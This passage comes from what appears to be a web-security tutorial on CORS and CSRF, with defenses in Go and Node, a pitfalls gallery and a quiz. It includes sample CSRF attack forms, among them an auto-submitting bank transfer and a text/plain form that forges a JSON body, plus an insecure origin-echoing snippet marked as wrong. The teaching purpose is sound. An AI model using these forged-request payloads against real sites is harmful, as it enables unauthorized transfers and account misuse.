Session cookie
https://bank.example
Logged in as Sam$1000
cookie jar: session=s3cr3t; Secure; HttpOnly; SameSite=None
Mallory has received: $0
https://evil.example — “cute cats”
<form method="POST" action="https://bank.example/transfer">
  <input name="to" value="mallory"><input name="amount" value="500">
</form><script>form.submit()</script>
Change a defense, then replay the attacks. Also check that Sam's own button still works.

Which should I use?

SituationRecommended
New Go serviceSameSite=Lax cookies + http.CrossOriginProtection (Go 1.25+) on the whole mux
New Node serviceSameSite=Lax + the crossOriginCheck above as the first middleware
Must support very old browsers, or a framework already gives you tokensKeep the tokens; add SameSite too
Pure API with Authorization: Bearer from JS, no cookiesNo CSRF defense needed (§07), but see §11
Practitioner§10

JSON APIs, login CSRF and other edge cases

In one sentenceMost CSRF bugs in modern apps hide in the corners: an API that accepts JSON from a form, a login form with no protection, a GET that does something.

"My API only takes JSON, so forms can't attack it"

The reasoning: a real JSON request needs Content-Type: application/json, which triggers a preflight (§04), which CORS refuses. True, if your server insists on that content type. But a form can send enctype="text/plain", and with a little trick its body looks like JSON:

evil.example
<form method="POST" enctype="text/plain" action="https://bank.example/api/transfer">
  <input name='{"to":"mallory","amount":500,"x":"' value='"}'>
</form>

A text/plain form sends name=value, so the browser glues the two halves around an =. We submitted this cross-site from Chromium 153. The bank received Content-Type: text/plain, the user's SameSite=None cookie, and this body (plus a trailing line break):

{"to":"mallory","amount":500,"x":"="}

That's valid JSON. Go's json.NewDecoder(r.Body).Decode(&t) and Node's JSON.parse both accept it happily, because neither looks at Content-Type. Check it yourself:

// Reject anything that isn't really JSON *before* decoding (mime package).
mt, _, err := mime.ParseMediaType(r.Header.Get("Content-Type"))
if err != nil || mt != "application/json" {
	http.Error(w, "Content-Type must be application/json", http.StatusUnsupportedMediaType)
	return
}

Tested with that forged body: without the check, both handlers sent the money; with it, the text/plain version gets 415 Unsupported Media Type and a real application/json; charset=utf-8 request still works. mime.ParseMediaType also strips ; charset=… and lowercases the type for you; the _ in mt, _, err discards the parameters it returns, which we don't need.

This check is a good extra layer, but keep §09's check as the main one. It's one config mistake away from being bypassed (a CORS policy that allows the attacker's origin also allows its preflight).

Login CSRF: forging the login

Login CSRF sounds harmless ("the victim gets logged in? so what?"), but it's backwards: the attacker's page submits the attacker's own username and password to your login form. The victim is now silently logged in as the attacker. Whatever they do next (save a card, upload a document, search for something private) is stored in an account the attacker can read.

Defenses:

  • Apply the §09 check to the login POST too. http.CrossOriginProtection covers it automatically if it wraps the whole mux; token schemes need a pre-login token, because there's no session yet.
  • For "Sign in with Google/GitHub" (OAuth), the callback is a GET that the attacker can forge with their authorization code. The state parameter is the CSRF token for that flow. See AuthN & AuthZ → OAuth 2.0.

Smaller corners

1

GET /logout, GET /delete

Any GET that changes state is forgeable with an <img> tag, gets cookies on top-level navigation even with SameSite=Lax, and is waved through by every CSRF middleware. Use POST (or DELETE).
2

Method override

Some frameworks treat POST with _method=DELETE in the form (or an X-HTTP-Method-Override header) as a DELETE. A plain form can then forge "DELETE" requests. Turn it off for APIs, or make sure the CSRF check runs on the original POST.
3

WebSockets

A WebSocket handshake isn't covered by CORS. Any site can open one to you, and the browser attaches cookies that its SameSite setting allows. Check the Origin header in the handshake: see WebSockets → Security.
Staff-level§11

Staff-level: design it away, then debug what's left

In one sentenceThe best CORS configuration is none: serve the API from the same origin as the app. The best CSRF defense is layers: SameSite cookies plus a server-side origin check on every write.

Cookies or bearer tokens?

The choice of where the credential lives decides which of these problems you have.

HttpOnly session cookieToken in JS memory, sent as Authorization: Bearer
CSRFPossible: the browser attaches it (§07). Needs §08–§09Not possible: browsers never add it on their own
Stolen by XSSNo: HttpOnly hides it from scriptsYes: any injected script can read and send it home
Cross-origin APINeeds credentials-mode CORS (§05) + third-party-cookie troubleNeeds a preflight for the Authorization header

Note what XSS means in both columns: an attacker's script running in your page can make requests as the user either way. A cookie only stops it from taking the credential away to use later. That's why the common recommendation for browser apps is an HttpOnly, Secure, SameSite=Lax cookie plus a CSRF check. The token-in-JS design trades a problem you can fix with one middleware (CSRF) for one you can't fully fix (token theft). Details on the tokens themselves: AuthN & AuthZ.

The same-origin backend (BFF)

A Backend for frontend usually means "a backend shaped for one frontend". In security discussions it also means: the browser only ever talks to one origin, your BFF, which holds any access tokens server-side and forwards calls to the real APIs.

Two shapes for a browser app
Toggle between them and compare what crosses an origin boundary.
Browserpage: shop.example🍪 HttpOnly cookieBFFshop.example/api/…holds access tokenssame originserver-to-serverorders APIorders.shop-api.exampleusers APIusers.shop-api.example
One origin for the browser: no CORS, no preflights, no third-party cookies, and the access tokens never reach JavaScript. CSRF still applies to the BFF's cookie — keep SameSite + the §09 check there.

What you get: no CORS (same origin), no third-party cookies (§05), no tokens in JavaScript, and preflight cost goes to zero. In development, get the same shape with your dev server's proxy instead of a CORS config you'd then be tempted to ship:

vite.config.js
import { defineConfig } from "vite";

export default defineConfig({
  server: {
    proxy: { "/api": "http://localhost:8080" }, // page at :5173 calls /api/… → same origin
  },
});

What preflights cost

A preflight is a full extra round trip before the real request. On a mobile connection with an 80 ms round trip, a page that saves 5 items with PUT /cart/items/1…/5 spends roughly 5 × 80 ms = 400 ms just asking permission if the saves run one after another (approximate; in parallel it's closer to one extra 80 ms, and connection reuse also matters).

  • The cache is per URL, not per server. Access-Control-Max-Age caches one answer for one origin + URL pair, so /items/1 and /items/2 each get their own preflight.
  • Max-Age is capped by the browser: per MDN, Chromium caps it at 2 hours and Firefox at 24 hours; without the header the answer is cached for 5 seconds.
  • Don't dodge preflights by sending JSON as text/plain. That's exactly the shape a CSRF form can forge (§10). Fix the architecture (same origin) instead.

When the CDN or gateway breaks CORS

Most "CORS suddenly broke in production" incidents aren't about your allowlist at all:

1

Errors have no CORS headers

A 502 from the load balancer, a 401 from the auth layer or a 500 from a panic usually has no Access-Control-Allow-Origin. The browser reports a CORS error and hides the real status. Put the CORS middleware outermost so even errors get the headers, and check the server logs before touching CORS.
2

Two layers add the header

The API gateway adds CORS headers, and so does the app. Chromium: The 'Access-Control-Allow-Origin' header contains multiple values '…, …', but only one is allowed. Pick exactly one layer to own CORS.
3

Caches without Vary

A CDN caches the response made for origin A and serves it to origin B (§05). Send Vary: Origin, and check the CDN honors it (some need it configured as part of the cache key).

Proxies also matter for CSRF checks: the Origin-vs-Host fallback (§09) fails every legitimate POST if a proxy rewrites Host to an internal name. Forward the original Host, or list your public origin with AddTrustedOrigin.

Proxies that don't forward OPTIONS, or route it to a handler that returns 404/405, break every preflight. So do auth checks that run before the preflight answer (§04).

Debugging CORS in DevTools

  1. Console: read the whole message. It names the exact rule (missing header, wildcard with credentials, multiple values, preflight failed).
  2. Network tab: find the request. Chrome shows CORS error in the Status column. If there was a preflight, there's a separate OPTIONS row (or a "Preflight" entry next to it). Check its status and response headers first.
  3. Right-click → Copy as cURL, then replay it with -i to see the raw headers. Remember curl will show the body regardless (§05); you're comparing headers, not checking access.
  4. Check the response, not the request: CORS is decided only by response headers. A request header you add on the client never fixes a CORS error.

Other cross-origin protections, briefly

  • Clickjacking: another site loads your page in an invisible frame and lures the user into clicking your real buttons. The click is genuine, so cookies, SameSite and tokens all pass. Fix: refuse to be framed with Content-Security-Policy: frame-ancestors 'none' (or 'self'); add the older X-Frame-Options: DENY for old browsers. One header on every HTML response, e.g. w.Header().Set("Content-Security-Policy", "frame-ancestors 'none'") in Go or the setHeader equivalent in Node. See Content Security Policy.
  • COOP, COEP and CORP: headers that isolate your page from other origins in the same browser process. They exist because of Spectre-style CPU attacks, where a page could read memory it shouldn't share. A page with Cross-Origin-Opener-Policy: same-origin and Cross-Origin-Embedder-Policy: require-corp is "cross-origin isolated" (self.crossOriginIsolated === true), which browsers require before allowing SharedArrayBuffer (memory shared between JavaScript threads). Why browsers isolate sites in separate processes: Threads & processes → Chrome.
Practitioner§12

Pitfalls gallery

#1

“Fixing” the CORS error by echoing any Origin

The error goes away, and every website can now read your users' data with their cookies (§06). If you see Access-Control-Allow-Origin set straight from the request header without a lookup, it's a bug.

✕ Don't
res.setHeader("Access-Control-Allow-Origin", req.headers.origin); // ✕
res.setHeader("Access-Control-Allow-Credentials", "true");
✓ Do
if (allowedOrigins.has(req.headers.origin)) {                     // ✓ exact set
  res.setHeader("Access-Control-Allow-Origin", req.headers.origin);
  res.setHeader("Access-Control-Allow-Credentials", "true");
}
#2

Using CORS (or an Origin check) as access control

"Only our frontend can call this API, because CORS." No: curl, scripts and other servers ignore CORS and send any Origin they like (§05). Every endpoint still needs its own Authentication and Authorization checks.

#3

CORS middleware after the auth middleware

Preflights carry no cookies (§04), so the auth layer rejects them with 401, and the browser blames CORS. Answer OPTIONS preflights first, and put CORS headers on error responses too.

✕ Don't
handler := auth(cors(mux)) // ✕ auth sees the preflight first → 401
✓ Do
handler := cors(auth(mux)) // ✓ preflight answered before auth runs
#4

Forgetting Vary: Origin

Works in dev, fails "randomly" in production behind a CDN: the cache serves one origin's Allow-Origin to another (§05). Add Vary: Origin to every response on a CORS route, allowed or not.

#5

GET requests that change state

GET /account/delete, GET /logout, GET /follow?user=7. An <img> tag can forge them, SameSite=Lax lets the cookie through on a link click, and every CSRF middleware skips GET by design (§09). Use POST/PUT/DELETE for anything that changes something.

#6

Relying on the browser's default SameSite

Chrome treats a cookie without SameSite as Lax (with a 2-minute POST exception); Firefox and Safari, at the time of writing, don't (§08). Set SameSite=Lax or Strict explicitly on every session cookie.

#7

A JSON endpoint that accepts any Content-Type

A text/plain form can post a body that parses as JSON, without a preflight (§10). Reject non-application/json with 415, and keep the real CSRF check on top.

#8

CSRF tokens in URLs, or compared with ==

A token in a query string (/transfer?csrf=…) leaks into server logs, browser history and the Referer header sent to other sites. Send it in a form field or header. Compare with a constant-time comparison and reject an empty expected value, as validCSRF does in §09.

#9

Exempting login (and signup) from CSRF protection

“There's no session yet, so there's nothing to protect.” There is: login CSRF logs the victim into the attacker's account (§10). Protect every unsafe endpoint, including the ones before login.

#10

Trusting a whole domain pattern

endsWith("example.com"), unescaped regex dots, "null" on the allowlist, or *.example.com covering a forgotten subdomain with an XSS hole (§06). Keep an exact list of origins, and review it like a firewall rule.

Practitioner§13

Check yourself

Predict the answer before you click. Q1 is covered in §02, Q2–Q3 in §04–§05, Q4 in §06, Q5 in §08, Q6 in §09 and Q7 in §10.

QUESTION 1 / 7
Same origin?

Which pair is the same origin?

QUESTION 2 / 7
Did the server run?

A page on evil.example runs fetch("https://api.shop.example/delete-all", {method: "POST", credentials: "include"}). The user is logged in with a SameSite=None cookie, and the API sends no CORS headers. What happens?

QUESTION 3 / 7
The credentials error

The frontend uses credentials: "include". The API answers Access-Control-Allow-Origin: * and Access-Control-Allow-Credentials: true. Result?

QUESTION 4 / 7
Spot the leak

Which allowlist check lets an attacker read users' data?

QUESTION 5 / 7
SameSite=Lax

Sam's session cookie is SameSite=Lax. From evil.example, which request still carries it to bank.example?

QUESTION 6 / 7
CrossOriginProtection

With Go's http.CrossOriginProtection wrapping the mux, a page on https://app.bank.example POSTs to https://bank.example/transfer. Its browser sends Sec-Fetch-Site: same-site. Result?

QUESTION 7 / 7
The JSON API

A Go handler does json.NewDecoder(r.Body).Decode(&t) and never looks at Content-Type. It uses cookie sessions and has no CSRF check. Is it forgeable by a plain HTML form?

Answered 0 / 7
Foundations§14

Cheat sheet

🏷️
Origin vs siteOrigin = scheme + host + port (all must match). Site = scheme + registrable domain (app.x.com and api.x.com are one site).
📮
Send yes, read noAny page can send requests to you, with cookies. The same-origin policy only stops other origins from reading the answer.
🚪
CORS opens doorsCORS headers relax the read rule. They never stop a request reaching your server, and non-browsers ignore them.
🍪
Credentialscredentials: "include" + exact Allow-Origin + Allow-Credentials: true. Never *, never echo any origin, never null.
🧾
Always Vary: OriginIf the answer depends on Origin, say so, or a cache will serve the wrong one.
✉️
CSRF = forged sendAnother site makes the browser send a request; the cookie rides along. Reading isn't needed.
🧱
Layer the defensesSameSite=Lax (explicitly) + reject cross-origin writes: Go 1.25+ http.CrossOriginProtection, or Sec-Fetch-Site/Origin checks, or tokens.
🙅
GET changes nothingEvery CSRF defense lets GET/HEAD/OPTIONS through. Writes must be POST/PUT/PATCH/DELETE.
I want to…Do this
Call my API from my frontend without CORSSame origin: /api behind the same host (reverse proxy, BFF, Vite server.proxy in dev)
Let one other origin read with cookiesAllow-Origin: <that exact origin>, Allow-Credentials: true, Vary: Origin
Serve truly public data to anyoneAllow-Origin: *, no credentials (never on intranet APIs)
Allow PUT/DELETE/JSON from another originAnswer the OPTIONS preflight: Allow-Methods, Allow-Headers, Max-Age; before auth
Read a custom response header cross-originAccess-Control-Expose-Headers: X-Request-Id
Stop CSRF in Gohttp.NewCrossOriginProtection().Handler(mux) (Go 1.25+) + SameSite=Lax
Stop CSRF in NodeSec-Fetch-Site ∈ none for unsafe methods, else Origin host = Host; + SameSite=Lax
Classic tokenRandom per-session token in the form/header, constant-time compare
JSON endpointRequire Content-Type: application/json (else 415), plus the CSRF check
Stop clickjackingContent-Security-Policy: frame-ancestors 'none' (+ X-Frame-Options: DENY)
HeaderWho sends itRemember
OriginbrowserCan't be faked by page scripts; can be by curl
Sec-Fetch-Sitebrowsersame-origin / same-site / cross-site / none
Access-Control-Allow-OriginserverOne origin or *
Access-Control-Allow-Credentialsservertrue or absent
Access-Control-Max-AgeserverSeconds; capped by browsers (≈2 h Chromium)
Set-Cookie: …; SameSite=LaxserverNone requires Secure
Finished reading?Mark it complete to track your progress on a roadmap. Saved in this browser only.
Up next in SecurityOWASP Top 10
Read →